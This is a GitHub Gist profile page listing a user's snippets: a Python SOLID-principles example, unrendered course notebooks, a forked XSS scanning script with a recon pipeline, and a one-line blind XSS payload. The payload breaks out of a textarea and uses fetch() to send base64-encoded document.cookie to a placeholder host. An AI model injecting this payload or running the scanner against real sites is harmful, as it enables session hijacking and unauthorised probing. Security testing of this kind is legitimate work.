Skip to content

Instantly share code, notes, and snippets.

View ShubhamJagtap2000's full-sized avatar
😄
Is pleased!

Shubham S Jagtap ShubhamJagtap2000

😄
Is pleased!
View GitHub Profile
@ShubhamJagtap2000
ShubhamJagtap2000 / 1.srp.py
Created January 19, 2024 06:02 — forked from dmmeteo/1.srp.py
SOLID Principles explained in Python with examples.
"""
Single Responsibility Principle
“…You had one job” — Loki to Skurge in Thor: Ragnarok
A class should have only one job.
If a class has more than one responsibility, it becomes coupled.
A change to one responsibility results to modification of the other responsibility.
"""
class Animal:
def __init__(self, name: str):
@ShubhamJagtap2000
ShubhamJagtap2000 / inxss.sh
Created October 2, 2022 08:13 — forked from R0X4R/inxss.sh
A fast xss detector script
#!/bin/bash
#Requirements: KXSS(https://github.com/Emoe/kxss), Dalfox (https://github.com/hahwul/dalfox), QSreplace(https://github.com/tomnomnom/qsreplace)
#Preparation: subfinder -d target.tld -all -silent | httpx -silent | gauplus --random-agent -b eot,jpg,jpeg,gif,css,tif,tiff,png,ttf,otf,woff,woff2,ico,pdf,svg,txt -t 100 -o params.txt && cat params.txt | gf xss | sed "s/'/ /g" | sed "s/(/ /g" | sed "s/)/ /g" | qsreplace "FUZZ" 2> /dev/null | anew -q testparams.txt
#Usage: ./inxss.sh testparams.txt target.tld
lists=$1
mkout=$(echo -e "$2_$(date +%F_%H_%M_%S)")
mkdir -p $mkout
echo -e "Total $(cat $1 | wc -l) targets loaded"
sleep 6s
echo -e "[$(date +"%F %H:%M:%S")] Starting scan..."
@ShubhamJagtap2000
ShubhamJagtap2000 / BlindXSS-payload1.js
Created September 5, 2022 14:02
Sample payload used in Blind XSS
</textarea><script>fetch('http://{URL_OR_IP:Port}?cookie=' + btoa(document.cookie) );</script>
@ShubhamJagtap2000
ShubhamJagtap2000 / PY0101EN-4-2-WriteFile.ipynb
Created May 13, 2020 14:35
Created on Skills Network Labs
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@ShubhamJagtap2000
ShubhamJagtap2000 / PY0101EN-4-1-ReadFile.ipynb
Created May 13, 2020 14:29
Created on Skills Network Labs
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@ShubhamJagtap2000
ShubhamJagtap2000 / PY0101EN-5-2-Numpy2D.ipynb
Created May 13, 2020 13:58
Created on Skills Network Labs
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@ShubhamJagtap2000
ShubhamJagtap2000 / PY0101EN-5-1-Numpy1D.ipynb
Created May 13, 2020 13:52
Created on Skills Network Labs
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@ShubhamJagtap2000
ShubhamJagtap2000 / PY0101EN-3-4-Classes.ipynb
Created May 13, 2020 13:10
Created on Skills Network Labs
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@ShubhamJagtap2000
ShubhamJagtap2000 / PY0101EN-3-2-Loops.ipynb
Last active May 13, 2020 12:35
Created on Skills Network Labs
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@ShubhamJagtap2000
ShubhamJagtap2000 / PY0101EN-3-1-Conditions.ipynb
Created May 13, 2020 12:13
Created on Skills Network Labs
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.